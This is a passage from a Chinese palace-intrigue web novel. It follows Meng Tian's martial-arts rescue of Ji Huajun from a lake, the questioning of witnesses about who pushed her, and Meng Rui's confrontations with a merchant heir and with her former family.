孟天以轻功飞跃到湖中央,伸手拉住在水中扑腾的纪华筠的手,伴随着“哗啦啦”的水声,她将纪华筠从水中提起,甩向空中。
“天呐!阿筠——!”
赵雅娴望着被甩得数米高的纪华筠,失声尖叫。
罗杰裕早已停下了脚步,震惊地看着这一幕。
孟天在空中翻了个个儿,双脚依次点水,借力再次腾空,抓住开始下坠的纪华筠,带着她飞回了岸边。
“阿筠——!”赵雅娴尖叫着冲了过来。
孟天将昏迷的纪华筠平放在地上,警告地瞪了赵雅娴一眼。
“她还没死呢,别一惊一乍的,过来帮忙。”
赵雅娴认出孟天的身份,今日在太后寿宴上大出风头的孟夫人,陛下特封的二品诰命夫人,于是规矩行了个礼,柔声问:
“见过孟夫人,阿筠,哦不,纪小姐怎么样了?她为何昏过去了?”
“应该是呛了水,我救的即时,无甚大碍。”
孟天真是受不了京中的种种规矩,明明担心好友的不得了,眼前这姑娘还不忘行礼,她对赵雅娴招了招手。
“你过来,帮我把她扶起来。”
“好,我马上来。”
赵雅娴听话地走过去,和孟天一起,将纪华筠从地上扶起。
其他在湖边看热闹的几位小姐,也一起围了上来。
此时,罗杰裕已经穿上外衣,想要过去查看纪华筠的情况,被孟蕊挡住。
“这位公子,我母亲自会救治落水的小姐,男女有别,请你不要再靠近了,去远处等候为好。”
孟蕊跑向湖边时,看到了赵雅娴和罗杰裕的争执,也听到了他们争吵的话。
虽然还不知落水女子的身份,但既然赵雅娴以男女授受不亲的理由,拒绝罗杰裕下水救人,定有其用意所在,许是落水女子家中十分重视男女大防,甚至名节大过性命。
女子立世不易,孟蕊也是女子,深知其中艰难。
在落水女子家人到来前,她不会让眼前这个目的不明的男子,接近那姑娘一步。
罗杰裕也认出了孟蕊,今日陛下新封的瑞嘉县主,他讪讪收回视线,拱了拱手。
“见过县主,在下罗杰裕,家父曾在兵部尚书纪大人麾下,我从小住在永宁侯府,与华筠很熟悉,我担心她,请让我过去看看她。”
“纪大人?华筠?”
孟蕊回头,看了眼被扶着坐起,但依然在昏迷的纪华筠。
“这位小姐是兵部尚书、永宁侯纪恺大人的女儿纪华筠?”
“正是我家小姐。”
丫鬟碧莲走了过来,帮罗杰裕说话。
“罗少爷与我家小姐青梅竹马,对我家小姐很好的,老爷和夫人都很信任他。”
孟蕊看着碧莲,怀疑地蹙了眉,“你到底是纪小姐的丫鬟,还是罗公子的丫鬟?”
“奴婢自然是小姐的丫鬟。”碧莲心虚地低头。
孟蕊轻笑道:“那就奇怪了,我可是听说,永宁侯夫人最重规矩,对嫡女华筠小姐的教养尤其重视,她怎么可能允许自己严格教养的女儿,有什么青梅竹马?”
永宁侯夫人方若莹,出身清流文臣之家,就是之前在太后的慈宁宫中,责怪孟天导致她妹妹外嫁千里的那位夫人。
纪华筠落水后,湿发覆面,孟蕊一时没认出来。
既然落水女子是纪华筠,孟蕊便知道了,这个叫碧莲的丫鬟口中,没一句实话。
“别再拦着我了,华筠还昏迷着,我要去救她!”
罗杰裕伸手就要来推孟蕊。
孟蕊一个侧身,躲过罗杰裕挥来的手,在罗杰裕想要上前时,身体下蹲,一个扫堂腿,把没有防备的罗杰裕绊倒在地,摔了个狗吃屎。
“本县主说了,你不许上前,否则,就是对本县主不敬。”
孟蕊想起来,自己现在多了个县主的名头用,于是学着厉青雪趾高气昂的样子,对罗杰裕威胁道。
“罗公子,本县主再说最后一次,你不得上前打扰纪小姐,否则,本县主真不客气了。”
罗杰裕忍着疼,从地上爬起来,还想对孟蕊还手,但又想到对方的县主身份,和其母孟天刚才救人时展现的惊人武功,他忍下了这口气,不甘心道:
“你们会凫水吗?会救溺水之人吗?”
他指着纪华筠的方向。
“在下小时生活在南方,见多了溺水之人,知道该如何救治,要让她平躺,用法子逼出呛入的水,你们怎能把她扶起,是要出事的!”
孟蕊依然挡在罗杰裕面前,冷冷看着他,不为所动。
前方,孟天掌心运力,轻轻拍在被赵雅娴扶起坐着的纪华筠的背心。
“噗!”
纪华筠吐出一口水。
接着是第二口,第三口……
当水吐完后,纪华筠缓缓睁开双眼,恢复了意识。
“这怎么可能?”罗杰裕不可置信地呢喃。
他还没出手,纪华筠就被救醒,那他白忙活了一场?
“是你见识太少。”孟蕊淡淡道。
从孟天要赵雅娴把纪华筠扶起时,孟蕊就知道了娘亲的打算,以内力驱出呛入的水,是会武之人最方便的救人办法。
“华筠,你这是怎么了?”
一声惊叫的女声响起。
去叫人的丫鬟,终于把永宁侯夫人带了过来。
永宁侯夫人一看到自己精心呵护的女儿,浑身湿透地坐在青石板地上,好不可怜。
她鼻头一酸,哭哭啼啼地要扑过来抱女儿,被孟天伸手逼退。
“方若莹,现在不是哭的时候,你女儿落水不是意外,她是被人推到湖里去的!”
孟天伸手一指,对准丫鬟碧莲。
“我刚才已经询问过你女儿,以及现场的几位姑娘,从她们的说法分析来看,当时站在你女儿身后的那个丫鬟,嫌疑最大!”
第162章 目击者们
在场所有人的目光,齐刷刷看向丫鬟碧莲。
永宁侯夫人一颗泪还挂在眼下,表情由心疼到错愕,又转为惊怒。
“去,把那个背主的奴才,给我抓起来!”永宁侯夫人对身边的嬷嬷下令。
身材健壮的婆子立即向着碧莲走去。
碧莲无措地往后退,连连摆手否认。
“不是的,我没有,奴婢怎敢推小姐……啊——!唔!”
“闭嘴!”
婆子一手捂住碧莲的嘴,堵住她的尖叫,一边钳制住碧莲的两只手。
“皇宫重地,怎由得你如此放肆!”
世家大族里发生这种奴才背主的事,一般来说,都是要对着其他下人,杀鸡儆猴一番的,但此事发生在宫里,现下只能低调处理。
孟蕊猜测,碧莲今日被带回去,难逃一死。
“母亲,咳咳……”
纪华筠虚弱地咳嗽着,叫住永宁侯夫人。
“落入湖中之前,女儿是感觉到,有人推了我的背,咳咳……但女儿并未看到那人的样貌,或许不是碧莲……咳咳……”
“好了,筠儿,你别说话了。”
永宁侯夫人让丫鬟脱下外衣,给纪华筠披上。
“快去把湿透的衣裳换下来才是要紧,千万别着凉,这里的事,交给母亲来解决。”
永宁侯夫人让跟随而来的心腹丫鬟,扶着纪华筠去换衣裳,又让婆子把碧莲的嘴堵了,押着不许她动。
孟天抱着手臂,沉默地站在一边,好整以暇地等着看永宁侯夫人怎么处理此事。
孟蕊走到孟天身边,发现娘亲脸上带着若隐若现的笑,奇怪,纪华筠被丫鬟推入湖中,是什么值得高兴的事吗?
孟蕊觉得,突然出现的罗杰裕很不寻常,此地偏僻,少有人来,怎么碧莲一喊,没见其他人来救纪华筠,只有罗杰裕恰好那么快跑来,就像是算好了时间,等在附近似的。
若是丫鬟碧莲与罗杰裕联手,将纪华筠推入湖中,制造机会,让罗杰裕英雄救美,在水中肌肤相亲,再被围观的几位小姐看到,那纪华筠就算是毁了清白,按规矩,她是要嫁给罗杰裕的。
罗杰裕为了攀上高门,使出这种下作手段,真令人不耻!
孟蕊鄙夷地瞥了罗杰裕一眼,庆幸还好她们刚好在不远处,听到呼声赶过来,没让罗杰裕这个道貌岸然的小人得逞。
永宁侯夫人看到罗杰裕时,眉头微不可察地皱起。
“罗杰裕?你怎么在这里?你也与此事有关?”
此处只有罗杰裕一名男子,永宁侯夫人没法不多想。
“回纪夫人,我是听到了碧莲的呼救声,来救纪小姐的。”罗杰裕连忙解释,“在场之人都可为我作证。”
永宁侯夫人审视的目光,在罗杰裕和碧莲两人身上打转,显然,孟蕊想到的事,永宁侯夫人也想到了。
“雅娴,你来说下当时的情形。”
永宁侯夫人看向她最熟悉的赵雅娴。
赵雅娴的母亲,与永宁侯夫人是手帕交,两家常有走动,两家的女儿也延续了上一代的情谊,关系要好,常在一处玩。
赵雅娴回想了一下,说道:
“大概小半个时辰前,我与阿筠带着丫鬟,从紫宸殿中出来透气,阿筠嫌坐在廊下无聊,碧莲就提出来花园里走走,不知怎么就走到这湖边。
当时我遇到李小姐她们,过去打招呼,阿筠跟在我后面,然后就听到‘噗通’一声,我一回头,就看到阿筠不见了,已经落入湖中。
我不会凫水,所以连忙问了这里其他人有没有会水的,可惜众位小姐和丫鬟们,都说不会,我心急如焚,立即让丫鬟去找人过来救阿筠,然后……”
赵雅娴看了看罗杰裕,蹙了蹙眉,继续说:
“然后,罗公子不知从哪里跑出来,一来就脱了衣服,要跳进湖里救阿筠,可是之前阿筠和我抱怨过,说罗公子举止轻浮,令她不快。
我觉得一切太过巧合,心生警惕,当即拦住了罗公子,焦急地盼着丫鬟能快点带人过来救阿筠。
莹姨,我当时很着急,很纠结,也很害怕,我怕阿筠撑不到救她的人来,又怕罗公子心怀不轨,我真的不知道该怎么办!”
赵雅娴越说情绪越激动,抑制不住地哭了出来,泪眼决堤般泪流不止,还在强忍着泪意,抽噎着说:
“还、还好孟夫人从天而降,把阿、阿筠救了起来……呜呜……您可以问李小姐她们,大、大家都看到了……呜呜……”
“纪夫人,我是真心想救纪小姐,没有心怀不轨!”
罗杰裕向前几步,走近永宁侯夫人,为自己辩解。
“您是看着我长大的,我是什么样的人,您最清楚,我绝不会做伤害纪小姐的事。”
“退回去!我还没问你话。”永宁侯夫人忌惮地盯着罗杰裕。
身材强健的婆子挡在罗杰裕面前,“请罗公子退后,待我家夫人问话再上前。”
罗杰裕不得不又退后几步,面色阴郁。
赵雅娴还在嘤嘤哭泣,永宁侯夫人安抚地顺着她的背,双眼已看向李小姐一行人。
李小姐她们心领神会,七嘴八舌地说起自己方才目睹的情况:
“纪夫人,赵小姐说的都没错,和我看到的一样。”
“对呀,我们几人结伴出来,一路说笑,就在这御花园中越走越深,然后就遇到了赵小姐和纪小姐,后面就和赵小姐说的一样了。”
“我记得当时,赵小姐过来的时候,好像听见碧莲喊了声湖中有鱼,也许是纪小姐探头去看湖鱼,才没有一起过来,被推下了湖。”
“我倒是没有听见,不过那时纪小姐身边只有碧莲一个人,不是她推的,还能是谁?”
“太可怕了,看到纪小姐在水里挣扎,我吓得都不知道该怎么办了。”
“我也是,罗公子是外男,去水中救纪小姐确实不合适,还好孟夫人来了,一下就把纪小姐拉了上来。”
“孟夫人真是太厉害了,今天要是没有她,纪小姐真的危险了。”
……
听完这群目击者的话,永宁侯夫人的心中已经定了碧莲的罪,只是对罗杰裕是否参与其中,还不确定。
她看向救了她女儿的孟天,有些尴尬,张了张嘴,想说感谢,话到嘴边,却成了:
“孟夫人,关于罗公子是否参与此事,你怎么看?”
第163章 恩人之子
孟天对上永宁侯夫人的视线,不关己事地摊了摊手。
“不知道啊,我光顾着救人了,要不是你说,我都没注意到这里还有个男子。”
孟天打量了下罗杰裕,问永宁侯夫人:
“之前听你家丫鬟喊他罗公子,这位公子与你们家有些交情?”
永宁侯夫人原本尴尬的脸上,多了几分无奈。
“罗公子的父亲,曾是我夫君在军中时的下属,几年前在南边剿匪时,他为救我夫君,伤重不治,家中只留病弱的儿子,夫君体恤,便将罗公子带回来,养在侯府外院。”
“原是如此,是救命恩人之子。”
孟天恍然大悟地点头,对永宁侯夫人认真道。
“既然是永宁侯带回来的人,不如将事情原委,都告知侯爷,要如何处置,交给他来决定,我今日初见罗公子,不了解这位罗公子为人,不好下判断的。”
永宁侯夫人没从孟天口中得到想听的话,略显失落,她眸光流转,又将目标对准了孟蕊,微笑着问:
“孟小姐,你方才也在,你觉得呢?”
孟蕊故作苦恼地摸了摸头,“纪夫人,我刚才跑得慢,到湖边时,娘亲已经把纪小姐救上岸,然后,您就过来了。”
言下之意,孟蕊看到的和永宁侯夫人差不多,没什么好说的。
从个人感觉判断,孟蕊偏向认为罗杰裕和碧莲合谋搞事,算计纪华筠,但她没有证据,而且孟天说要交给永宁侯来断这桩事,那她就不该插手,免得多事。
“哦,这样啊。”永宁侯夫人脸上的笑有些挂不住。
“纪夫人,若无其他问题,我们要回去了。”孟天直接提出告辞。
永宁侯夫人想要留人,也没有好理由,不太情愿地向孟天道谢:
“多谢孟夫人今日出手,救小女于危难,现下我还有些事要处理,改日一定登门道谢。”
“举手之劳,不必客气。”
孟天习惯性地拱了拱手,带着孟蕊径直离开。
她们回到紫宸殿时,宫宴接近尾声,已有大臣带着家眷陆续离宫。
孟蕊正想着爹爹和大哥会在哪里等她们时,见娘亲面带不满,盯着前方人群聚集处。
那是大殿中靠前的位置,约莫一二十名大臣们聚在一起饮酒。
随着娘亲走近了些,孟蕊蓦地发现,人群的中央,正是她那已喝得面色酡红的爹爹谢清源。
而围着谢清源的人群,看官服上的纹样,是一群高阶武官。
那个正在和谢清源勾肩搭背、举杯对饮的,居然是兵部尚书、永宁侯纪恺。
永宁侯府,以军武传家,纪恺也是武将出身,常年的军旅生涯让他肤色偏黑,年过四旬,依然身材高大魁梧,气势凌人。
此时,他正高举着一杯酒,对谢清源粗声喝道:
“谢大人,再来一杯!”
“喝!”
谢清源豪迈地与他的酒杯碰撞,两人举杯一饮而尽。
旁边围观的武官们拍手叫好:
“纪大人和谢大人,都是好酒量啊!”
“确实好酒量,我等佩服至极!”
“快给两位大人再满上!”
……
孟天看到这一幕,眉头紧锁,双眼盯着还在往嘴里灌酒的谢清源,双手紧握成拳。
孟蕊连忙提醒:“娘亲,我们是不是要和纪大人说,纪夫人和纪小姐还在御花园里等他?”
“这倒是件要紧事。”
孟天眉头微松,向纪恺和谢清源走去。
谢清源第一个看到孟天,笑眯了眼。
“娘子你来啦~快,我们也喝一个!”
围观的武官们给孟天让出一条路,孟天懒得理喝醉的谢清源,直接走向纪恺。
“纪大人,这酒随时可以再喝,不过刚才,您家夫人在御花园扭了脚,走不动路,她逞强不想告诉您,我恰好遇见,想着过来与你说一声为好。”
纪华筠落水关乎女子名节,孟天不能直说,便以纪夫人的名义,将纪恺引去御花园,解决纪华筠落水的后续事宜。
一来,孟天觉得,永宁侯夫人方若莹不靠谱。
方若莹自己妹妹外嫁那么多年,居然也能怪到孟天头上,可见是个脑子不好使的。
让方若莹处理纪华筠落水的事,指不定会出什么问题,还是让永宁侯亲自过去解决为好。
二来,孟天最烦喝醉的谢清源。
她要是不加以阻止,今日谢清源这酒要喝个没完,把一起喝酒的永宁侯支走,也好把谢清源带回去。
永宁侯纪恺一听事关夫人,当即放下酒杯,站直了身,眼中迷醉散去,对孟天感激抱拳。
“多谢孟夫人告知,我这就过去。”
“纪大人慢走。”
孟天目送纪恺雷厉风行地离开,转身拿过谢清源手中酒杯。
“好了,谢大人,我们也该准备出宫回府了。”
“娘子,让我再喝一杯吧。”
谢清源想重新去拿酒杯,被孟天抓住手,反剪在背后。
“我说了,不准喝,现在跟我回府。”
旁边围观的武官们见状,都自觉散去。
孟蕊左顾右盼,没找见大哥孟瑾的身影。
“爹爹,大哥去哪里了?”
“大哥?”谢清源醉眼迷离,歪着脑袋想了想,“我大哥刚刚已经出宫了呀。”
孟蕊无语,“爹爹,我说的是我大哥孟瑾,不是你的大哥。”
“哦,阿瑾啊?”
谢清源伸出手指,摇摇晃晃地对着周围,原地转圈寻找。
“阿瑾被姓贺的老小子拽走了,让我瞧瞧,他们去哪儿了?”
像他这样找,自然不可能找到。
一名未走远的武官,听到他们父女两的对话,返回过来告诉孟蕊,孟瑾和贺大人一起去了隔壁偏殿。
孟蕊向他道了谢,带着丫鬟吟秋去偏殿找孟瑾,留下吟夏和娘亲一起照顾喝醉的爹爹。
紫宸殿的偏殿不远,几步路都走到了。
孟蕊惊讶地发现,这里不止贺维钦和孟瑾,还层层叠叠围了好些人。
其中,一大半是着官服的文官,还有一部分,是世家公子。
人群中央,传来孟瑾和贺维钦说话的声音。
这里都是男子,孟蕊不便挤进去,只好站着外圈听了几句,似乎是在讨论礼与法的关系。
围观的人们全都认真聆听,一副受教又期待的表情。
多听几句,孟蕊就觉得无聊得想睡觉了。
现场唯二和她一样的,除了身边的吟秋,只有不远处那个一边打着哈欠,一边手拿册子,奋笔疾书的秦仲棋。
第164章 潜在威胁
秦仲棋靠在偏殿角落,笔走如飞。
贺维钦和孟瑾中气十足,对话声音洪亮,在角落也能听得一清二楚。
“秦世子,你怎么一个人躲在这儿?”
孟蕊走到秦仲棋身边,好奇地问。
秦仲棋是永安伯府世子,擅经商,在京中有不少产业,曾想拉孟蕊合伙做生意,被孟蕊婉拒。
偏殿里的其他人,都围着贺维钦和孟瑾,只有秦仲棋一个人在这里,孟蕊觉得奇怪,探头去看秦仲棋手上正在写的册子。
“你在记录他们的对话?”
孟蕊看到秦仲棋正在册子上快速记录的,正是此刻贺维钦和孟瑾的对话。
“笔记做得如此认真,是准备下场考状元?”孟蕊语带玩笑。
她记得秦仲棋说过,要专注经商,不考虑走仕途的。
“孟小姐,哦不,瑞嘉县主,好久不见,一转眼,您都是县主了,恭喜恭喜啊。”
秦仲棋略一抬头,对孟蕊笑着打了个招呼,马上低下头,继续奋笔疾书。
“在下不考,但京中要考状元的人,可多了去了,不是人人都有机会,听到那两位状元如此激动人心的对谈的。”
孟蕊立即明了,秦仲棋这是要记下贺维钦和孟瑾的对谈,拿出去卖给走科举之路的读书人,他们都是秦仲棋的潜在顾客。
妙啊!居然还能这样赚钱!
孟蕊双眸一亮,礼部主管科考,贺维钦不但是礼部尚书,还是二十多年前先帝钦点的状元,而孟瑾,是庆明帝钦点的新科状元。
两大状元的对谈,一听就很有噱头。
读书人会对此感兴趣,不愁卖不出去。
可是,其中也存在不可忽视的问题。
孟蕊眼中的光逐渐暗下,脸色严肃起来。
“秦世子,你将我大哥说的话,记下来卖钱,不太厚道吧?”
孟蕊盯着秦仲棋册子上的白纸黑字,幽幽道。
“你若是故意改动,加上些不合适的内容,全都假作是我大哥说的,岂不是会害到我大哥?”
秦仲棋执笔的手一滞,“在商言商,我定然诚信经营,不敢随意改动的。”
“一传十,十传百,你不改动,底下的人,翻抄的人,你能保证他们也不改动吗?”
说起做生意,孟蕊的脑子就转的很快,凡是影响到大哥前途的潜在威胁,都要从根源防范禁止。
“这些内容若私自发售,会存在风险,必须给我大哥和贺大人审核过才行。”
“还要给贺大人审核?”
秦仲棋苦了脸。
“不要吧?他不同意,我这生意不就没得做?”
孟蕊不为所动,孟瑾高中状元,这段时间本就风头过盛,今日宫宴又出了五公主要求赐婚之事,以后会有更多双眼睛盯着孟瑾,决不能行差踏错一步。
“秦世子,在商言商,赚钱事大,但有些钱,赚得安稳更重要。”孟蕊郑重地说。
秦仲棋讪讪道:“县主说得在理,在下受教。”
他一向长袖善舞,做事圆滑,不会为这点生意,和谢家硬碰硬。
“多谢秦世子理解,请你暂时不要将这些笔记传出去,我今日回去后,会与兄长提及此事,让兄长会和你联系。”
孟蕊与秦仲棋又小声交谈了几句后,告辞离开。
大哥一时半会儿和贺维钦的对谈不会结束,她待在这儿也听不进去,不如先回去告知爹爹和娘亲。
孟蕊带着吟秋走出偏殿,不出几步,迎面遇上安乐侯和其子姜铭昊。
自从安乐侯带着全家,来谢府闹过一场后,孟蕊就再没见过他们,只听说姜瑶在养伤,其他一如往常,没什么新消息。
眸光快速扫过周围,她发现除了廊下几个低头侍立的宫人外,没有其他人经过。
孟蕊懒得与安乐侯府的人虚与委蛇,只当作没看到他们,径直往前走。
“孟蕊,你明明看到我们,居然不理人?你什么意思?”
被明晃晃忽视的姜铭昊,不满地跳出来,拦住孟蕊的去路。
孟蕊不想跟蠢货打交道,但现在是在宫里,既然被指出来,她还是要保持基本的礼仪,免得留人话柄。
“不好意思,我刚才没注意到你们。”
孟蕊扯了扯嘴角,对这两个人实在扯不出一丝笑意,只冷冷道。
“姜侯爷,姜公子,我向你们问安,这样可以了吗?”
说完,孟蕊抬脚就要离开。
“蕊儿,本候与你好歹做了十六年父女,铭昊与你也是多年姐弟情,你当真要做得这么绝吗?连见我们一面都烦?”
安乐侯声音哽咽,略带沧桑,饱含不舍之情。
孟蕊只嗤笑一声,头也不回地继续往前走。
以孟蕊前世在安乐侯府受的罪,她恨不得把安乐侯府完全覆灭,让他们全家上下,都尝一尝她前世为奴为婢的痛苦悲哀。
按照谢家的实力,是完全可以把本就没落的安乐侯府打垮的。
但如今,姜瑶攀上了三皇子和吴贵妃,还和三皇子打得火热,安乐侯府明确站队三皇子,参与到了夺嫡之争中,打击安乐侯府,就是打击三皇子的势力。
孟蕊以前不太懂朝堂政治,这些日子,在爹爹和娘亲的耳濡目染下,她知道了许多以前不曾接触的道理。
比如,高高在上的一国之主,皇帝陛下,也不能万事皆随心意,朝堂后宫,都有许多需要兼顾斡旋之处,也有许多不得已。
比如,前朝与后宫的关系,盘根错节,牵一发而动全身。
即使孟蕊再恨安乐侯府,欲除之而后快,但因为三皇子将其纳入势力范围内,而谢家不参与夺嫡之争,就不能随意对安乐侯府出手
虽不能直接对付安乐侯府,并不意味着孟蕊还要像以前那样忍气吞声,她行了基本的礼数,想走,就一定要走。
“喂!孟蕊!我父亲在和你说话,你走什么?”
姜铭昊压低了声音,气急败坏地说。
见孟蕊根本不理他,姜铭昊还想来抓孟蕊的胳膊,被吟秋拦下,连孟蕊的一片衣袖都没摸到。
吟秋身负武功,挥手一掌,就把姜铭昊推得连连后退,差点摔倒在地。
安乐侯连忙上前扶住他的宝贝儿子,关心地询问姜铭昊有没有伤到。
他也不演父女情深了,指着孟蕊斥责:
“不孝女!你离开侯府,越发没规矩了!
居然让人对你弟弟动手,无情无义,猖狂至极,还不快给你弟弟道歉!”
第165章 不再软弱
“姜侯爷这是说的哪家胡话?”
吟秋将孟蕊护在身后,迎上安乐侯愤怒的老脸,有条不紊地纠正。
“我家小姐只有两位兄长,从未有过弟弟,而且是姜公子对我们小姐无礼在先,奴婢为了护主,轻轻推开姜公子而已,未伤他分毫,何错之有?何需道歉?”
安乐侯当然记得,孟蕊不再是他的女儿。
但长年累月的习惯已经形成,一看到姜铭昊被推开,安乐侯就下意识地指责孟蕊,就像以前孟蕊没照顾好姜铭昊时,被他训斥姐姐没有照顾好弟弟一样。
“十几年的姐弟亲情,你说不认就不认了?”
安乐侯厚着脸皮,放缓了语气,为自己找补。
“蕊儿,铭昊从小与你最是亲近,你从前对他的照顾,比你母亲……呃,比他母亲还要体贴,以后你们就算不住在一个府中,你们姐弟间,也可以常常走动,互相帮衬的嘛。”
想到自己从前对姜铭昊贴心贴肝的关心和照料,孟蕊就悔不当初。
她对他太好了,好到让姜铭昊认为,一切都是孟蕊应该做的。
安乐侯和沈氏也觉得,姐姐照顾弟弟理所当然,他们心安理得地享受着她的付出,然后一脚把她踹入深渊……
什么互相帮衬?是想让她单方面帮忙吧?
不过,孟蕊也挺好奇,他们现在想让她帮什么?
孟蕊挑挑眉,“我一个闺阁女子,能帮你儿子什么?”
安乐侯把姜铭昊往前送了送,舔着脸说出自己的要求。
“蕊儿,我刚才的话重了点,你别在意,听说你兄长与贺大人在偏殿对谈,你能不能帮我们引荐……”
“不能!”
孟蕊毫不迟疑,打断安乐侯的话。
打大哥的主意,没得商量!
安乐侯到底有没有搞清楚现在的状况?居然提出如此厚颜无耻的要求。
他们两家已经把话说开,撕破了脸,他怎么好意思,来给她讲这些恶心说辞?
此时的孟蕊,不觉生气,只感到可笑,对着安乐侯讽刺地说:
“他们二位都是状元之才,你们拿什么去和他们攀交情?吃喝嫖赌?还是撒泼打滚?
对了,他们正在讨论‘礼与法的关系’,你们听得懂吗?”
安乐侯最要脸面,为了宝贝儿子的前途,厚着脸皮来求孟蕊引荐,却被如此羞辱,气得脸上青一阵白一阵。
他强撑着颜面,怒斥孟蕊:
“孟蕊,你现在说话,怎会如此尖酸刻薄,无所顾忌?没规没矩的!哪有一点名门贵女的样子?”
孟蕊无所谓地看着他,心中毫无波动。
她的娘亲最不喜规矩,爹爹和大哥也让她随心而为,安乐侯的这些话,对现在的她而言,毫无伤害性。
只是不理解,安乐侯是怎么有脸,和她说出这些话的?
这一刻,孟蕊不由得反思过去的自己。
是不是她以前在安乐侯面前,表现得太逆来顺受、软弱听话了?
是不是她以前对安乐侯府里的人都太好了,让他们到现在就觉得她好拿捏?
安乐侯父子到现在还以为,可以在孟天和谢清源不在的时候,来她面前耀武扬威?
不行!
她不能再那么软弱,不能给爹娘和大哥丢脸!
“姜侯爷,姜公子,今日太后娘娘寿宴上,你们二位的座位偏远,有些事可能没听清。”
孟蕊微微笑着,什么话能扎安乐侯父子的心,她就说什么。
“陛下在寿宴上下了圣旨,封我为瑞嘉县主,请你们以后按规矩,尊称我一声瑞嘉县主,不要直呼我的名字。”
讲道理再多遍,他们都听不进去,但以权压人,他们听一遍就懂了。
安乐侯忡怔了一瞬,随即反应过来,孟蕊是在跟他们炫耀。
炫耀她在宫宴上的座位比他们靠前,炫耀她被陛下封了瑞嘉县主,炫耀她的母亲是陛下的救命恩人。
他脸色微僵,曾经,他父亲老安乐侯还在的时候,他们安乐侯府也是风光无限,参加宫宴坐在前面,他十四岁便被封世子,春风得意。
哪像现在,被忽视,被敷衍,被安排最末的座位,他的儿子姜铭昊快十六岁了,无人关注,还没有底气请封世子。
姜铭昊更是气得咬紧了牙,他还没当上世子呢,孟蕊居然已经成了有封号的县主,那他以后不就要低孟蕊一头了?
“你是县主又怎样?我爹还是侯爷呢!”姜铭昊不服气地说。
孟蕊不理他,只看着明显气势变弱的安乐侯道:
“姜侯爷总是在说我没规矩?可是,陛下在封我为县主的圣旨中,夸我品行端庄,才德兼备,你是在质疑陛下的旨意?那要不要与我一起,去陛下面前分说清楚啊?”
这话就是吓安乐侯的,孟蕊笃定他不敢去。
就算安乐侯脑子抽风,真敢答应,孟蕊也不怕去找庆明帝给她做主。
果然,安乐侯怕了,语气弱了下去。
“本侯从没有说过那种不敬陛下的话,你别乱说……”
孟蕊轻笑看他,“那姜侯爷你,要与本县主一起,去求见陛下吗?”
“陛下日理万机,我等岂能为这点小事去打扰?”
安乐侯连连摆手拒绝。
“时候不早了,本侯与铭昊要出宫回府了。”
说着,安乐侯拉着姜铭昊,转身就要走。
“等等。”孟蕊叫住他们,“姜侯爷,姜夫人和姜小姐没有来参加太后娘娘的寿宴吗?今日一直没看到她们。”
算算时间,姜瑶的伤应该好得差不多了。
孟蕊记得,前世,姜瑶最喜欢进宫,每次进宫前都要精心装扮一番,好与三皇子相会,她这次怎会没来?
“你找她们?”安乐侯警惕起来,“瑶儿的伤还没有痊愈,夫人陪着她在府中休养,你有何事?”
“没什么,只是觉得姜小姐身子强健,她的伤应该好了,没见到她有些奇怪。”
孟蕊盯着安乐侯的脸,细细观察对方的表情。
安乐侯眼神闪躲,含糊道:
“瑶儿伤得很重,就是还没好,不便进宫,你别假好心地问东问西。”
姜铭昊帮腔,“就是,猫哭耗子假慈悲,你省省吧!”
姜铭昊凶了孟蕊一眼,对安乐侯催促。
“爹,咱们别理她,该回去了。”
安乐侯和姜铭昊不给孟蕊继续发问的机会,逃也似的快步离开。
孟蕊看着他们快速离开的背影,觉察到了一丝古怪。
安乐侯父子,好像在隐瞒什么?
孟蕊记下疑点,回去定要让爹爹好好查一查姜瑶。
这么多天没有动静,别是在憋什么大的坏招?
第166章 落水真相
孟蕊带着吟秋回到紫宸殿,与爹娘说明情况后,又等了一刻钟,才见孟瑾和贺维钦,在一众文官的簇拥下回来。
文官们纷纷对着孟天和谢清源恭喜,夸赞孟瑾才思敏捷,锦心绣口,能与贺维钦对谈不分伯仲,将来前途不可限量。
孟天和谢清源谦虚地说着“哪里哪里”,脸上与有荣焉的笑,就没淡下过。
众人又闲聊了几句后,相互告辞,各自出宫回府。
回府的路上,孟天和孟蕊母女俩同乘一辆马车,谢清源也想要挤上来,被孟天直接点了睡穴,扔上了另一辆马车,交给孟瑾照顾。
马车上,孟蕊将遇到安乐侯父子的事告知了孟天,并询问道:
“娘亲,姜瑶的伤,真有那么重吗?我记得您之前说,十天半个月差不多就能好。”
孟天一手托腮,思索着说:
“按姜瑶的体质来说,从受伤到现在,已过半月有余,她该好了,而且还有镇北王府送去的疗伤圣药和各种补品,她应该好得更快才是,难道有什么我们不知道的消息?
等你爹酒醒了,让他把派出去盯着安乐侯府的人,叫回来问一问就知道了。”
“好,我明日就去和爹爹说。”
孟蕊主动揽下这个差事。
她想尽量避免娘亲接触姜瑶的事,免得姜瑶装可怜,让娘亲心软。
眼珠一转,孟蕊转移了话题。
“对了,娘亲,那位落水的纪小姐,后来怎么样了?纪大人为她做主了吗?”
“哦,那个啊。”孟天回想了下,“听说纪恺带着家眷已经回府,他怎么处理的还不知道,不过纪华筠落水的消息没有传出来,方若莹也没做什么多余的事。”
孟天说着,脸上逐渐浮现兴味的笑,她问孟蕊:
“蕊儿,你为什么说,纪恺要给纪华筠做主?你觉得她是被丫鬟碧莲和罗杰裕联手算计了?”
孟蕊点头,如实说出心中猜测:
“我觉得这种可能性最大。
刚才,我碰巧遇到秦世子,他告诉我,罗杰裕仗着他父亲救过永宁侯,一直赖在永宁侯府不肯离开,永宁侯夫人提出给他置宅买地,相看婚事,他都不愿意。
罗杰裕的父亲是条好汉,但罗杰裕在永宁侯府这些年,文不成,武不就,没什么本事。
永宁侯碍于名声和救命之恩,对罗杰裕一直很好,这次进宫,听说也是罗杰裕求着要来见见世面,永宁侯才同意带着他进宫。
还有,秦世子说,他亲眼见过罗杰裕去纪小姐面前献殷勤,被纪小姐命人驱赶,其猥琐之心,昭然若揭。
而娘亲您将纪小姐救上岸,正在对她施救时,罗杰裕一点不顾男女之别,不为纪小姐的名声着想,要不是我拦着,他已经冲去纪小姐身边了。
当时纪小姐浑身湿透,衣裳紧贴,若隐若现,他一个外男,怎好凑过去看那般场景……”
孟蕊想到就有几分生气,对罗杰裕的行为作出总结。
“罗杰裕定是贪念永宁侯府的富贵荣华,想攀上纪小姐,当永宁侯府的女婿,可是勾引不成,他就兵行险着,策划了纪小姐落水,他再英雄救美……”
孟蕊振振有词地说着,忽然发现,娘亲正笑盈盈地盯着她瞧,眼中却不见赞同。
“不是这样吗?我说的有哪里不对?”孟蕊不自信地问。
孟天不答反问:“你方才说的秦世子,是谁?”
孟蕊这才想起来,娘亲没见过秦仲棋,简略解释道:
